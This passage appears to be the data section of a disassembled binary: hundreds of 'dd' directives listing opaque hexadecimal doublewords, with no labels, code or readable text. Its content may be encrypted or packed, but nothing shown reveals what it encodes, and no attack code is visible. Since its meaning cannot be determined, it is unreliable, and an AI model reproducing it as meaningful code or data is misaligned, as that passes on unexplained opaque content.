		dd 8E2537C0h, 264A74B0h, 0FAEAB1DEh, 0CCE82EBFh, 8B9DB893h
		dd 92E3FEE6h, 7C7D529h,	9272D4Ah, 0DFC846DDh, 11948C0Dh
		dd 595ECE4Fh, 5E104DE6h, 0C629170Ah, 0F69A2CEAh, 4CF15B07h
		dd 0F84B01F2h, 757CA079h, 28A13A3Bh, 979479ACh,	9438EE31h
		dd 0BD64709Eh, 0DB45607Eh, 5C5E453h, 0A69B6104h, 7BF76607h
		dd 291118ABh, 3DDAC0BEh, 20B9C395h, 0D8FD542Ch,	39C464FDh
		dd 88AEAF0Fh, 0F3C01B14h, 3C6A0168h, 8790B553h,	5D811E50h
		dd 1703C970h, 0BD73E70Dh, 0B1B903B0h, 0F84A7238h, 0FD1C1BE1h
		dd 0AEF1D281h, 214F0E59h, 2D307085h, 0CCB83AF0h, 5BC7892Ch
		dd 0E2AF7512h, 0A4E9A03Fh, 0DADCBF94h, 0B00220CAh, 7E566469h
		dd 8EA14DFh, 1C222758h,	1A3E7CB2h, 26A5820h, 0F97A23CBh
		dd 9965F29h, 4E457138h,	40C2CEFAh, 0F680A1A7h, 0C2FE07D2h
		dd 700FB450h, 7ECC0D4h,	8826CB90h, 273A60E6h, 0F8F6F4h
		dd 685386C4h, 0E69D64C3h, 27AF7E29h, 6B75E0C5h,	888CB92Ah
		dd 0CAE0EF04h, 0DA281FF9h, 0D2EA8E5Bh, 87E9E201h, 71FB2E72h
		dd 2BE5FD38h, 424469FFh, 0F2F0B501h, 8B9E5BBDh,	7F4A801h
		dd 6716E95Bh, 4FC71AA4h, 0ADFD2E24h, 0DE247720h, 5D9C2A3Ch
		dd 0A40D97ACh, 67D90B07h, 0B67FEE20h, 24338B06h, 0C1EC99D4h
		dd 0FBD25F31h, 5F686070h, 778BC403h, 0FE5B0978h, 13DEF2A2h
		dd 30C3548Ch, 0A9F40780h, 6058E220h, 0D0284AC2h, 8253EA96h
		dd 0B99284D8h, 5E17CCFFh, 6CD86FD2h, 4DF89DF2h,	0E1235348h
		dd 8B2F1AA7h, 0FFF4690Bh, 665A2BB6h, 0F519B21h,	9132FA2Ah
		dd 5D08E043h, 0D28C04C0h, 0EE0733E9h, 0E62A2369h, 19751A15h
		dd 0C4F8544Eh, 39E18058h, 3D59BC37h, 0D0BA4E1Fh, 4078B049h
		dd 41AE2550h, 0B61A3F26h, 2571AB08h, 68156EECh,	128E44D2h
		dd 0CEA2765Fh, 0B70FE320h, 0C7C780BFh, 6BDEFD28h, 0D31677EBh
		dd 0C4F52C28h, 0DBE9D1F1h, 87055502h, 0D774587Dh, 60F5640Bh
		dd 0B0AA899h, 0C7319510h, 0D81A58Fh, 0D8522463h, 512601E7h
		dd 590B071Eh, 0A0265B78h, 0EB5556EAh, 8A1FBF4Ah, 3017B92Eh
		dd 5775F50Eh, 0AF830824h, 7760986Ah, 0FCDA5BF7h, 91AEC48Dh
		dd 0E434FCABh, 9E1758F6h, 0E391FEAFh, 5E039DEDh, 0CBF1BEEDh
		dd 258724FCh, 0F9C7C361h, 0D9AF2C12h, 2CEF2B9Ah, 512F6805h
		dd 4C0D1958h, 0AC4BEE7Ch, 2BFEB779h, 0C9BED101h, 237071DDh
		dd 10D0A446h, 685D057Dh, 78A35826h, 4D017607h, 459D25Ah
		dd 786160FCh, 0AF2E0549h, 3E64C947h, 0B4010F25h, 42D429E3h
		dd 4B32470h, 0E91C9131h, 0F716EE67h, 489CDEAAh,	3E463881h
		dd 4CE8CA5Fh, 323EED7Ah, 0C5C1509Bh, 38D43F53h,	782B9480h
		dd 5F223FBAh, 0A7394F2Ch, 0D8038F54h, 0E16BAC3Ah, 416B2328h
		dd 1A597EE4h, 4498EC36h, 71F4182h, 0BE56133Eh, 1010AF8Eh
		dd 0F86662FCh, 68590041h, 66B76F29h, 98734C4h, 5BCEE9Fh
		dd 1CB0724h, 2A8A6E61h,	0E9188421h, 42E79F76h, 9CE28100h
		dd 6864607Ah, 39346F0h,	2786AA08h, 4A49605Dh, 0C1F6B531h
		dd 1EBAF713h, 8C7145Ch,	981E5B30h, 927F37D2h, 4A5FFA17h
		dd 4C383021h, 5D127E36h, 0A4DCFB71h, 6E110ABDh,	16922393h
		dd 1ED9A951h, 32663EC1h, 3202E501h, 23B7783h, 0FA573924h
		dd 0E5B6077h, 0E22F5F8Bh, 4A13C0D6h, 38E919F0h,	0EF4F3CA1h
		dd 1757B538h, 0FFFA1AE9h, 4E7EE4CBh, 0FAF78418h, 0B52439E6h
		dd 4EEB40ECh, 0DE4AFD8Fh, 515D0BC2h, 78E98472h,	21CEBB17h
		dd 0BC5CFA40h, 0DECBEF8Bh, 4E0EE033h, 377B6773h, 572791AFh
		dd 0B1132854h, 81043DABh, 0A4E34FD3h, 7D28DF50h, 42E7EB7h
		dd 0A92AC5E9h, 68071F88h, 0CE356252h, 332E8204h, 1EA1FC12h
		dd 0C993D5F7h, 0E65E4CA8h, 0A7A21362h, 1E1F5BF4h, 0CB33A855h
		dd 0B499FAC3h, 72046051h, 8CC71EFCh, 6BB360E1h,	5822534h
		dd 0F16460DFh, 50401784h, 11E0B928h, 0AB4BC712h, 75092BC4h
		dd 0F57A628Ah, 5F8D6D59h, 0F0E58F35h, 0BCC260CEh, 0DC418299h
		dd 2FEE6857h, 0DF9BFD87h, 0EE0302Eh, 0E7715819h, 0D52CBD42h
		dd 0EDC14D01h, 0FB472005h, 2D767CB8h, 1665CD3Bh, 41BB0177h
		dd 88980774h, 155530FEh, 56CD1109h, 69BB004Ah, 0A25F9421h
		dd 642B85C4h, 26F6C1EEh, 8402E950h, 0B456580Ch,	0FC7D9E82h
		dd 2D823CC8h, 4D025960h, 583D6EC3h, 0E9F8509Ah,	5CA9DA24h
		dd 5642D67Ah, 75689C88h, 0CA4A1848h, 3651EF54h,	0EB74407Fh
		dd 7F6E354Fh, 8DF188C3h, 4AF8ADCFh, 0CC5E143Ch,	0EB3A98E9h
		dd 0DB8CFDCh, 5A94F34Ah, 2D294AA4h, 0D8985FFEh,	5380F665h
		dd 46930068h, 4B5B116Ch, 180AF381h, 0CA207F02h,	90C0C61Ch
		dd 63E94D39h, 0F6CB9241h, 0C992BE58h, 0F0FF1784h, 6B1E9B6Eh
		dd 0ADC968A1h, 883751B5h, 5D14CAD6h, 30ED5FE3h,	20B9838h
		dd 0ADC18916h, 9E002B4Eh, 0A213420Dh, 0B7F7F412h, 3ED115C2h
		dd 55626889h, 0A7C08A1Bh, 7A2F2844h, 0E6AE525Bh, 370C1877h
		dd 1BC90C4Fh, 0E9B14306h, 500A7Fh, 67588B0Dh, 1F10256Eh
		dd 2D680301h, 3CEADB84h, 6E6C62Ah, 0DF5A5E90h, 6845A793h
		dd 9DBBE3Fh, 1DD65FAh, 204160D4h, 58DB52Ah, 4ABBE308h
		dd 1058D3D9h, 110920E9h, 0E2D5876h, 3D84686Dh, 59CE0130h
		dd 6968C6FEh, 517B5070h, 3EFF84E9h, 914E42CBh, 2F150CF4h
		dd 8E3314B3h, 0CB820656h, 3A103C41h, 82514B7h, 9CF8222h
		dd 7FED6801h, 255D3FD4h, 9A57EE31h, 9EC2578Eh, 94E5B457h
		dd 8FEC5E2h, 592A02Fh, 0CE4350AFh, 12CA2B27h, 1331585Dh
		dd 0BFF3295Bh, 0AA3EC5E5h, 625C8F31h, 7FAE317Bh, 0A1BB00D6h
		dd 0ED215C45h, 2402A72Fh, 0D27D5150h, 0A1E6EA0Fh, 82549FB7h
		dd 0BD0210FCh, 21740D7Ch, 0DA362160h, 91B03BC5h, 591270F8h
		dd 36D3517h, 0C35E0CD2h, 30EAD1F1h, 0F18D03Dh, 360C55EBh
		dd 2AE52077h, 4F17B709h, 1C1E5669h, 0F43EF0F7h,	0A035A4DDh
		dd 56001631h, 516D0BDCh, 67D89501h, 805F0881h, 0F460D30h
		dd 4966E979h, 0E05F8DA5h, 0E950CCBh, 0C6BB9284h, 9549FEBFh
		dd 4EC4CDEh, 18F1399Dh,	121DA3C0h, 0E9270971h, 0B07249C4h
		dd 0FA9282B5h, 0FB765595h, 82ED78D8h, 8FC41h, 695E8FBFh
		dd 27822A6Eh, 8575CF87h, 0EB49CA6Dh, 0FD7EC58h,	0BA5A30C1h
		dd 936600F3h, 318E7BCBh, 1A0ADB8h, 4F0B1058h, 41BEE914h
		dd 0B33E2D31h, 0A66812C9h, 23E94980h, 0FE76BFA9h, 0BF51C152h
		dd 0FC2B043Eh, 7B04070Bh, 0A72CF003h, 50873827h, 525A9760h
		dd 80B50251h, 5659EA88h, 1805BCF5h, 77C769E9h, 662D0DE1h
		dd 10E27E93h, 0D7EE4EAEh, 0B15151ACh, 7FFBDB6Eh, 4041CF82h
		dd 0FAA83FF9h, 0EECBE4E7h, 0B4F83983h, 60C3E4D2h, 9F5BD948h
		dd 0A87B0C4Ch, 38EB2FE1h, 0E74B77E3h, 430314D0h, 186C581Dh
		dd 47499D05h, 0F4BD0740h, 91851FCh, 1BE700CFh, 0A323F35h
		dd 718401F9h, 16E95296h, 33758925h, 56F5187Fh, 1E4A0ABEh
		dd 18970B2Eh, 0E949EE06h, 5F16794Fh, 0EAD8D5EEh, 497FE3A0h
		dd 520E5E96h, 0C472EA89h, 896AAFFh, 0C1EC2F24h,	870F2865h
		dd 0DB257FB9h, 4AE9C1F3h, 2832872Dh, 8FA95AF0h,	15C1B278h
		dd 34BABF66h, 10F7BD5Ah, 0E44E3E52h, 71D2B960h,	5AA84AAFh
		dd 9689C9D3h, 0B5A1037Eh, 0F5ED7009h, 3AD58EB0h, 0B0F72980h
		dd 0E1545C22h, 0E91AE887h, 0A9790FFFh, 354C20B5h, 69BC2B94h
		dd 0B7E6187Eh, 0E6F58924h, 263EDA08h, 86031872h, 4C3FCD87h
		dd 5538586Bh, 0C102DA3Bh
		dd 90E8F747h, 0CC3D0845h, 0DAECA459h, 0CD9FAD3Ah, 0BF60256Ah
		dd 0E9803B1Dh, 3D2A9688h, 6207F817h, 9C7D8B63h,	0B63B9057h
		dd 0B75300F3h, 3BE780BDh, 0C00C06C1h, 0F7E403EFh, 0D7F635E3h
		dd 659B040Ah, 46F9AFFEh, 13C0DDC9h, 3D0026BAh, 0F2814CB8h
		dd 71E36B4Ah, 57A9501h,	2771DE95h, 0C751E042h, 0F5136889h
		dd 0FCBD4064h, 6E55F2B6h, 64C2A24h, 0A8B43CDCh,	9E53E314h
		dd 3BDE4D93h, 55322023h, 30B607E3h, 0BD664C17h,	5879221Dh
		dd 58ED0E4Dh, 21E96409h, 758F296Fh, 0A7241202h,	0BB6C1984h
		dd 0C8BAE094h, 4154B8E7h, 0F58D207h, 459832D2h,	7F04C2C5h
		dd 0DBB08E0h, 0C687117h, 0F12213A4h, 167CEB10h,	0F3793D2Eh
		dd 6E5CAC00h, 0B8E5C178h, 0C9F5069Bh, 1236DB42h, 81EB024Eh
		dd 6EB8CEA8h, 5844A94Bh, 15BD0686h, 0E2320E34h,	1662D906h
		dd 0BF8401FAh, 0ADC77DE0h, 0ECC277C0h, 0A36B5A56h, 0EB71A8E0h
		dd 0D30CC737h, 0B1F26FE0h, 5560C654h, 0B62D419Ch, 256CF607h
		dd 0CEEF6877h, 84DB5A20h, 5B009A36h, 0EDC412ADh, 0A958180Dh
		dd 29782666h, 7EFA037Bh, 0C3E1F26h, 72CA1332h, 1CB98D01h
		dd 0E8925E7Dh, 7938BB26h, 4DE30168h, 0FEE92313h, 1622690Fh
		dd 67FF19FDh, 77F2A2BEh, 8B9DE655h, 31DBA0E0h, 0F657F323h
		dd 0E6333EC1h, 8F4812CFh, 0B3ECC849h, 935E595Dh, 0A84E33F3h
		dd 0DAE9E379h, 46DA481Fh, 2E15C456h, 0BEF8AAF8h, 4AC18A3h
		dd 80BE39B2h, 5E2C0DDh,	0F6880CC2h, 0C67E40D2h,	3DB23852h
		dd 0AB04D42Fh, 3828C101h, 38EE6D08h, 40B94E6Bh,	0BC234C15h
		dd 50D18809h, 0CB6B1D02h, 96BDD373h, 44B4E126h,	0E21A176Bh
		dd 4E1AEA67h, 7AEAA90Dh, 0A28F2556h, 0C35A6752h, 0A1F417FBh
		dd 3EC6211Bh, 608A9DCCh, 0ADED71F9h, 305FD649h,	0E57DE980h
		dd 3D0297A0h, 31F46C17h, 7FD87C2h, 2B61F35Dh, 392A9F7Ch
		dd 9E803012h, 7F978F60h, 68BFC73Ch, 13C668ADh, 0FC306B02h
		dd 187F0112h, 0D7F7606Fh, 0FB4F049Eh, 8695BE01h, 81F831B0h
		dd 1832EA28h, 0A320616Ah, 3BD7F87Eh, 1C680141h,	91C3408h
		dd 71D55814h, 4EE90615h, 135940Ch, 0B1EA34F2h, 7A14210Bh
		dd 0AB4E1EACh, 4B3E8C2Dh, 32A3E661h, 0EB94DA88h, 9D5B732Ch
		dd 262A256h, 90B6F92Dh,	0D0592D75h, 2D28732Bh, 9DC4CE2Ch
		dd 5F386420h, 53A5C05Dh, 292C5E75h, 0DF0098CDh,	576AB02h
		dd 4DCAF0F3h, 0B05E78E7h, 431E5F36h, 0F59A308Ch, 1C080C3Eh
		dd 7205092Ch, 0C4D65E15h, 8804FF70h, 76820358h,	47420CA9h
		dd 0EE3F310Eh, 0A0F9B496h, 0C2BCADEBh, 10B95156h, 16B5CE89h
		dd 820BF661h, 1080717Dh, 0F48A2528h, 3A1E6295h,	5DDA12FDh
		dd 0E462650Fh, 7675FFC8h, 7E5D7AABh, 2B14796Bh,	39B02CFBh
		dd 0D69562B2h, 9A6ACBC7h, 1D8C3F54h, 0B928CFh, 766E4CDEh
		dd 91B326BDh, 0CA4E897Fh, 7F5FEEC2h, 0D7098350h, 0B20A3369h
		dd 57E00551h, 8060B90Eh, 18F06855h, 5D03279Dh, 8134685Dh
		dd 67330BCBh, 6C800EEFh, 0C4C6D450h, 0E505EEF8h, 2948356Bh
		dd 88110FFh, 75DE95Fh, 65C205AEh, 6844A0EFh, 0BD4512B6h
		dd 54CE9940h, 0E962FC05h, 5AA42C84h, 0FDDBA0E0h, 5B7B2C17h
		dd 0A4D1D01h, 2AF2EE8h,	8A6CB354h, 4515DE77h, 0B999435Dh
		dd 77A87B9Bh, 0C095CA29h, 2E0C1EA9h, 24473AD3h,	1F750F62h
		dd 0CF04376Bh, 6FCEAEE8h, 0C0098C58h, 0C5FB4B2h, 45EB27D5h
		dd 0B0A37B02h, 0B2828988h, 80B050F6h, 0C230E1E0h, 5DFA33E9h
		dd 7AB14046h, 5D0CAF59h, 0BE26FE14h, 71C2925Bh,	6BB9FC79h
		dd 0B0C2BAFCh, 6C5FC9CCh, 1DBCA005h, 65DF0916h,	26D55E20h
		dd 0AA3B5FDEh, 0C16F064h, 51890819h, 12668430h,	41E956Ch
		dd 0AA9C16Fh, 7A278058h, 41169888h, 45E1DED6h, 0E2C86B03h
		dd 18C60224h, 2806E9BFh, 0DD594149h, 45C9A8AAh,	7D0F299Fh
		dd 3EE645B1h, 0F6AFED13h, 2B05AE1h, 0D2075E75h,	11400887h
		dd 71256753h, 9E5EDC42h, 667B09F1h, 2570507Dh, 0A052528Eh
		dd 6459440Fh, 73DB6522h, 35BE4401h, 0CA51561h, 0F6FD247Fh
		dd 0BF0121B8h, 151D4BB5h, 2DF73029h, 0BE046C03h, 44D80124h
		dd 0C7C80882h, 0B3316E4h, 7D1FCC77h, 2B432557h,	92BDFDF3h
		dd 0CCB96CD7h, 135B1C93h, 2D07B932h, 32965D38h,	0C7C060F0h
		dd 0ED1C15E1h, 803CB67Dh, 46D32CB5h, 7751E949h,	0BDF1F377h
		dd 0F0F5D6ACh, 5A06B063h, 5C0BAB05h, 6663552Dh,	70B1AAD5h
		dd 7441CC42h, 0A95F691Fh, 9A329661h, 0C718B7AAh, 0E659F4E9h
		dd 8AEA2AC0h, 9F4EAA05h, 32B10179h, 0E95A0800h,	0CB84BD29h
		dd 0B115AC5Fh, 1D95488h, 982E3D5Dh, 839D0B48h, 0BACD21C2h
		dd 2B7EB3h, 0C420DC25h,	10B3565h, 0FF71E46Eh, 1CE91481h
		dd 7D477AB0h, 14946749h, 683765C0h, 0C1360C7h, 63E60F6Eh
		dd 28FE0134h, 120C081Ah, 5B200914h, 0DE501926h,	0D3823D80h
		dd 65359AB4h, 0BFC61DDBh, 30EC31B1h, 60BEAACAh,	8089FC7Ah
		dd 68013EB9h, 3CBF1D8Eh, 0E020D0B3h, 5FE913CFh,	27DCAD36h
		dd 80780399h, 0E33087F3h, 75C3FE2Fh, 0F60504C0h, 0C1B652DBh
		dd 1240683h, 8B6FF529h,	74C227FEh, 4C686029h, 1C4AF617h
		dd 5FED16C8h, 0E45FAC2Eh, 3A853DBEh, 711275D5h,	8F9C2CFEh
		dd 74E2474Eh, 6F9EEA4Bh, 4FDFE610h, 0BB12E3ADh,	1831A340h
		dd 31102AB8h, 0A0C6E4F0h, 3F432BDAh, 2393E4B1h,	49132001h
		dd 57B7815h, 2E201A20h,	90CDD31h, 0E57637E3h, 0CE1CC260h
		dd 41899557h, 5E6BA381h, 0D79A200Bh, 0FD251D9Ch, 53139A47h
		dd 94CCBAAh, 57E02D5Eh,	19E92682h, 0F6773BF8h, 4EEC00Eh
		dd 0E334C980h, 77C89A99h, 43B5D07h, 1CF944F8h, 0BAF515ECh
		dd 13C0E834h, 4F973035h, 0ED93D00Bh, 856E3757h,	2221CC3Eh
		dd 0D1409DB5h, 7DB93E48h, 2F46923Bh, 819B5723h,	123B24FDh
		dd 535E8CE9h, 4A848BA0h, 0C159F305h, 1A808E8h, 0A02D4001h
		dd 6BFD4181h, 4A7146A8h, 5C74BA99h, 903421ABh, 0FD9C7A8Fh
		dd 0B0C15D83h, 3123DDB4h, 0F9B3D8CBh, 5AD33007h, 0AA27D02Ch
		dd 0FE9D800h, 0FF99ADCh, 432A60EFh, 0F417A046h,	7549BD07h
		dd 0B6F04B09h, 9CB4F68Ah, 97625A3h, 0D71602Dh, 4F759AF0h
		dd 0EC7034F7h, 0BA521ED3h, 3E957FC0h, 9282D5E9h, 81C0B5B9h
		dd 5122CC7h, 2FE03320h,	8008A2EFh, 234ABF7Eh, 1A1A677Dh
		dd 2921337h, 80133604h,	3BB861C6h, 2643B44Ah, 79B16C1Eh
		dd 0D3C55D67h, 2BC75DA5h, 0AA982227h, 0FA2D04DDh, 3DE814F1h
		dd 0B7F9A44Ch, 0DE6C53CAh, 0CD5EADA1h, 65EABEC3h, 67815175h
		dd 8C2F19A8h, 0FE09EA6Bh, 0DC990E59h, 78AD0C77h, 0BA16F55Dh
		dd 0E6016454h, 1BD5AEEDh, 4017C860h, 1C00BDC8h,	810F9D1Eh
		dd 0E6352FCDh, 57209516h, 3CBE0584h, 0D17FE918h, 3C4FE753h
		dd 27FB2D26h, 0DB117E15h, 13D4C6B7h, 98B141Fh, 41B3B273h
		dd 803421E8h, 664140EFh, 1C08317h, 4A9C99A0h, 0DFE4E84Dh
		dd 94FB4A3Ch, 0BC37FEA1h, 0F8AEF663h, 0C213BAAh, 964FE9F0h
		dd 0F4BFC31Bh, 914D894Bh, 0FFE88125h, 0BF4B9FA7h, 386870DCh
		dd 0AA4A6292h, 74165E8Ah, 7E67AA09h, 1C01ACF3h,	2747441Fh
		dd 2066145Dh, 0BA5B791Ah, 0BF7A45BAh, 0C531BA52h, 133CA0D1h
		dd 6F10F6A1h, 0F6493ECEh, 196E9C3h, 28AC404Fh, 0C86D2E04h
		dd 835BA945h, 387111E9h, 0D82F5A26h, 9649997Fh,	0E906E02Bh
		dd 0D77CB6B0h, 53409994h, 270E13BBh, 0DAD4344Ch, 0C1432582h
		dd 0A3B88003h, 24557996h
		dd 153EDD01h, 0F893FC28h, 79D796CBh, 7E5C7A41h,	9073F33Ah
		dd 135F580Fh, 0ABF34AD3h, 92BC770h, 240D995Fh, 4DD42039h
		dd 0DFF74F5Bh, 1D49E982h, 65E45D0Bh, 0FEFBD514h, 1AB15858h
		dd 612646F9h, 0A6077D0Eh, 3127D562h, 50A91BFDh,	580D6F0Dh
		dd 0BFD36711h, 39C493B3h, 0E649BABAh, 7F22ECC8h, 13E9800Ch
		dd 0DF710867h, 38B5029h, 6AFE1505h, 0AF64D989h,	3D939AF8h
		dd 0B97B025Ch, 65EF61C5h, 0F06200DDh, 0BFA376D4h, 2A26127Ch
		dd 893E2924h, 0FE09DB3Bh, 0C98100D7h, 6B8E26B9h, 0CD48497h
		dd 0B07DAD09h, 251F3012h, 2F63844h, 50DBE967h, 55503BADh
		dd 0E6041BADh, 1A56C158h, 0F17DC24Ah, 2BED6F6Eh, 0EBBC01F3h
		dd 2CC2A7Fh, 82A555Ch, 2754DC20h, 45D7555Fh, 0D65CA59Bh
		dd 6A3E3000h, 62376840h, 10F82331h, 0E5208708h,	7F5E9925h
		dd 61D5EF48h, 85175827h, 0F2D4AA83h, 8E3F61BBh,	0D9870139h
		dd 0CB21C744h, 0C6EBD7F7h, 90CEFC18h, 11D40B2h,	0F6B78ABAh
		dd 4007962Ah, 193CBAC7h, 0F29F5135h, 2213091Bh,	1ADD4653h
		dd 0A9807F04h, 0EEDBE6D7h, 0E9D58907h, 0EBFF6BF0h, 0A46FF58h
		dd 0CEA45B5Ah, 3D890BCDh, 7E870C24h, 4E3463E5h,	611BCC01h
		dd 0F52918BDh, 80FDE44h, 0B9EB2A5Eh, 836F942h, 72B50BC7h
		dd 0B4795EF4h, 0FCBEE534h, 6BD22656h, 0D3018C9h, 50B210E9h
		dd 0EEEB4651h, 2685700h, 1C453216h, 31481F60h, 2D13EF80h
		dd 0A317FD28h, 68A5A0h,	3620414Ah, 3CCB815Bh, 3BD20424h
		dd 3066EB00h, 7F89E7BAh, 25D7BCDDh, 0C509B1C4h,	7F2D1D78h
		dd 5F471702h, 0A208A47Ch, 0DC880537h, 3A91ABF6h, 9D2A1469h
		dd 511340A1h, 5F580F78h, 230A0577h, 0BA0220D6h,	0DE061FFCh
		dd 0A05CAFCAh, 0D29AFB58h, 2397FE68h, 0F641ABA2h, 4EB061C3h
		dd 0C681F3B6h, 0A3C03F58h, 7902EEC0h, 97CEE4FEh, 0F074E35Ah
		dd 0F60559EEh, 8EE2E9D0h, 0C29472D4h, 5A4CA0BAh, 0FA9C2097h
		dd 0D4619050h, 4F101940h, 70041E27h, 2E6619BCh,	50FCE28Bh
		dd 53E8A84Ch, 1C8298F9h, 0DD52E788h, 9F45FEEh, 0C111B251h
		dd 55A86A87h, 316CBAE5h, 6FE6979Eh, 3F5F5D79h, 0B42F53FDh
		dd 43C220F6h, 62E9742Bh, 5C0078D0h, 964DEE68h, 95524740h
		dd 0DE47AC58h, 9A6E6404h, 0AC9789C3h, 0CEE8C292h, 2679BFF8h
		dd 0CCE9C882h, 0FA83E85Fh, 0F4F0B84Ah, 8B4641D8h, 45C5DF0Ch
		dd 3A1A3E15h, 965F7D4Eh, 0E0C1311Ch, 2EE7BC26h,	52D304B9h
		dd 82F2FF0Dh, 54E9E4A5h, 0C3C7E912h, 3DE68D45h,	25E0AE44h
		dd 207812E2h, 0B22F051Dh, 9860F881h, 0BCEA4AF5h, 4A71615h
		dd 0DDD0510Eh, 32B7530Fh, 0DF4B19BEh, 0B2D1205Ah, 1F84A4Ah
		dd 8F65EFA4h, 0F1FF2504h, 6599AF13h, 820DB23Bh,	4B42E95Ch
		dd 0EF482781h, 0EEE78A55h, 58BACF02h, 0C0605763h, 8F262DF6h
		dd 0FE13FE31h, 7FC0D0B8h, 0EB8054B3h, 0F358AF70h, 0E926759Fh
		dd 0A6A4236Ch, 0AC645525h, 0B07EB082h, 0EA4B2DA8h, 560096CAh
		dd 2B906850h, 58024E8Dh, 460AAD35h, 68805522h, 34DEC7BAh
		dd 0DC019327h, 685A8E53h, 0B6550CE9h, 0CDBC20A7h, 0BD555C17h
		dd 9E31B3F4h, 0F79D0D4Ch, 0A51428DCh, 34F9F3FBh, 27EA2989h
		dd 0F1FAA54Eh, 897AFDCDh, 0DF89661Fh, 273EFCE5h, 7F42D729h
		dd 0EFB0D40h, 0E94914DDh, 0DF142B0Dh, 0FB55A54Ah, 4FDD2763h
		dd 0C557A7B0h, 5B5428C1h, 2F17F1F0h, 5A504CCEh,	0B8282CAh
		dd 6805B398h, 0F721B71Ah, 0FC7543CAh, 0E9061B2Eh, 0B2F01EBh
		dd 9CDB945Eh, 3CE95067h, 0C0031CB6h, 9B8006ECh,	98F4995Fh
		dd 1321C4D8h, 358E588h,	0D60C36C7h, 602C9690h, 0E156E925h
		dd 0FB4509FBh, 0F47A7704h, 3052A41Fh, 88F1B286h, 0E825D17Eh
		dd 0F4735Fh, 15C2C681h,	0CDD0786h, 65742545h, 8060AC9h
		dd 5814800Ch, 18524857h, 0DB197801h, 6C1EE968h,	0C3E55065h
		dd 57240B95h, 6777318Bh, 58021126h, 59742F7Ah, 2A3482A4h
		dd 79E001B2h, 87092C1Ah, 44FD2912h, 0D0D4E67Bh,	3010E332h
		dd 0AD680AC2h, 3B45DD6Bh, 2E6139EAh, 0A6997FDh,	5EE57Dh
		dd 5306E8C1h, 0DB4F86E9h, 292261AFh, 4D148002h,	790DF581h
		dd 0C80F3CDh, 75B03BDFh, 7291EA21h, 2372DF69h, 3D7FE913h
		dd 9CBEF4ABh, 0EA4515Fh, 0F29CBD5Fh, 1362FC5Dh,	11095066h
		dd 6B1A7C3Bh, 5AE94175h, 0D742F32Bh, 0A8D88CFFh, 0F6EC7C5Eh
		dd 55DB2F2h, 0CABE5D89h, 0B1C09721h, 918B09E9h,	0E08549A4h
		dd 0C2251DD6h, 6E325165h, 34623F60h, 0DA1AF927h, 0E90880CDh
		dd 86CB54AFh, 0C5C9D5Ch, 501125BEh, 97D69F3Dh, 0CBDDD078h
		dd 0C2D7C3D5h, 302D840Ah, 0F6065614h, 724C8F29h, 78C11A02h
		dd 588EE9E6h, 3A5E61A9h, 3C412126h, 203D2D5Bh, 8024B7A5h
		dd 0C8DEBFB9h, 430420Bh, 0CDAEF92Bh, 4FAE2E83h,	12E54FC0h
		dd 0E04CAC39h, 0BF5C9D68h, 894F7B79h, 9EE8CA45h, 0B0E91A9Bh
		dd 0DC575631h, 403E93EBh, 6EBB531Dh, 4C372D02h,	17E2A889h
		dd 0CA8AA087h, 0E31658CDh, 249F4120h, 5B281Eh, 0D352A4E2h
		dd 0E3984A20h, 5713A3BEh, 0D61FFCh, 226CEF45h, 724FE916h
		dd 0F4BE5313h, 0B60EEE1Ah, 0C0268A09h, 0D91E62F6h, 70E9276Dh
		dd 0BB1AE02h, 0D55081C2h, 0A290454Eh, 0F4648CF5h, 0EEEE4A3Bh
		dd 0DAF1EDDDh, 80EF3545h, 1D7FC156h, 1F77217Dh,	497CD88Bh
		dd 4C2F7F48h, 0CB0261E3h, 51992AABh, 4C63DD8Eh,	0EBE03EC6h
		dd 0AA060DF8h, 9E40E961h, 0CB681787h, 828BFE3Ch, 0BCEF0D12h
		dd 0BA528555h, 0E25AD7BBh, 0F9C6DE88h, 3C685102h, 456DE618h
		dd 6FC909C1h, 0F10513D8h, 9F41AAA5h, 0E02087EBh, 0D9E903E2h
		dd 5C720A69h, 0F3E16146h, 982C6FFEh, 0EF7BBE68h, 18CE1370h
		dd 7A947AEDh, 2707A001h, 3522E935h, 42B3D533h, 0CAFDC12Eh
		dd 8BF67780h, 0FD0A8FA8h, 0A1704368h, 601AAA04h, 309B8490h
		dd 51DC9044h, 806A9EBh,	0E614820Ch, 0B9F98062h,	27C08254h
		dd 0CC31A7Eh, 0F152EDD1h, 4B6A3437h, 8478D2E0h,	0BBFB9854h
		dd 42284B90h, 6806EA29h, 4B6A8C6Eh, 0FBBD5ECAh,	417DD569h
		dd 0D3698D89h, 7A79F6CFh, 90766618h, 0BC2A30E9h, 578DB887h
		dd 3543C302h, 0D53C2267h, 6A7DCF60h, 0F66B9025h, 49DB88C8h
		dd 9605225h, 76EB4D65h,	90CBA0Bh, 4E0CBF1Ch, 58054119h
		dd 0B1750011h, 2DF0D27h, 0E92C32DAh, 5D81992Fh,	5C2355BBh
		dd 95EBC920h, 0E9D2827Fh, 5ED5A61Ch, 581140A6h,	0C51D9794h
		dd 4AB35301h, 9130DD20h, 0A9FE5AF8h, 74CB9EDCh,	821DD1EFh
		dd 17A36BB8h, 704951E2h, 0AAD0925Ah, 81BB60FFh,	560B20EFh
		dd 50296321h, 5D08800Fh, 0C93C5F87h, 7CFB3ADAh,	0B853C77h
		dd 0C15606EDh, 6443C589h, 0A9D24E3Dh, 0F25F182Eh, 3C580D2h
		dd 4EDC001h, 1150D5F6h,	2699E104h, 0EFBEB00h, 623B6858h
		dd 0CFD7650Dh, 2CEE14D7h, 93A522D0h, 0ADF4095Ah, 575326D8h
		dd 298AD264h, 25C1B227h, 0E166214Dh, 44846B1Ah,	0A248F2AFh
		dd 0C459DF56h, 0F51CF552h, 30B6E918h, 13D1E6D7h, 4123013Fh
		dd 84FBC6C4h, 20853AB4h, 73901A84h, 0F01BB252h,	104860D5h
		dd 0C280CAFEh, 4108322Eh, 0AADDF60Ah, 0EF88F104h, 62EE60D9h
		dd 5ACD6FCh, 0B4FEF428h, 0ADB952B3h, 9B06860h, 0CE445074h
		dd 0F13188E6h, 0D212CEB5h, 4AA4FEE2h, 0F82AF18Bh, 7BE982ACh
		dd 99026869h, 21081441h, 0B304F24Bh, 0D334186Fh, 0B0CFD1F6h
		dd 571B8DF3h, 0C9222E60h, 0B715A362h, 0E904A667h, 87B9AC48h
		dd 5C621E07h, 0A044B411h
		dd 0F84E3017h, 8C109AF6h, 35B9025Fh, 831FDF54h,	0BB0C55C7h
		dd 0A7460175h, 1913A7Bh, 59E58C8h, 0A555C03h, 8C086830h
		dd 130931AAh, 143400BFh, 0BF2D7004h, 8061C3D4h,	0EDCC5ECDh
